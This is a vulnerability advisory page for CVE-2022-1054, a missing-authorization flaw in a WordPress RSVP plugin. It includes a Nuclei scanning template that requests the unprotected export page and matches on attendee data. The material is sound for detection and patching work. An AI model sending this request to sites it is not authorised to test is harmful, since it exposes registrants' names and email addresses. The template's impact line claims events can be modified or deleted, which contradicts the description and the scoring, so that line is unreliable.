CVE-2022-1054: WordPress RSVP and Event Management <2.7.8 - Missing Authorization

2025-08-01 WordPress RSVP and Event Management PoC Public

Description

WordPress RSVP and Event Management plugin before 2.7.8 is susceptible to missing authorization. The plugin does not have any authorization checks when exporting its entries, and the export function is hooked to the init action. An attacker can potentially retrieve sensitive information such as first name, last name, and email address of users registered for events,

PoC

id: CVE-2022-1054

info:
  name: WordPress RSVP and Event Management <2.7.8 - Missing Authorization
  author: Akincibor
  severity: medium
  description: WordPress RSVP and Event Management plugin before 2.7.8 is susceptible to missing authorization. The plugin does not have any authorization checks when exporting its entries, and the export function is hooked to the init action. An attacker can potentially retrieve sensitive information such as first name, last name, and email address of users registered for events,
  impact: |
    An attacker can exploit this vulnerability to perform unauthorized actions, such as creating, modifying, or deleting events.
  remediation: |
    Update the WordPress RSVP and Event Management plugin to version 2.7.8 or later.
  reference:
    - https://wpscan.com/vulnerability/95a5fad1-e823-4571-8640-19bf5436578d
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2022-1054
    cwe-id: CWE-862
    epss-score: 0.04213
    epss-percentile: 0.90474
    cpe: cpe:2.3:a:wpchill:rsvp_and_event_management:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: wpchill
    product: rsvp_and_event_management
    framework: wordpress
  tags: cve,cve2022,wordpress,wpscan,wp,wp-plugin,wpchill,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-admin/admin.php?page=rsvp-admin-export'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'RSVP Status'
          - '"First Name"'
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a004830460221008fc2d2e26897eb4f694715a57cae2ae393c6df76e1ee2be3b30504bcc84d8b59022100e4f208508f64ff61aba919b3858f17fba66ed5cb007a2e48dde3ec5bf825163c:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2022/CVE-2022-1054.yaml

References

Related Vulnerabilities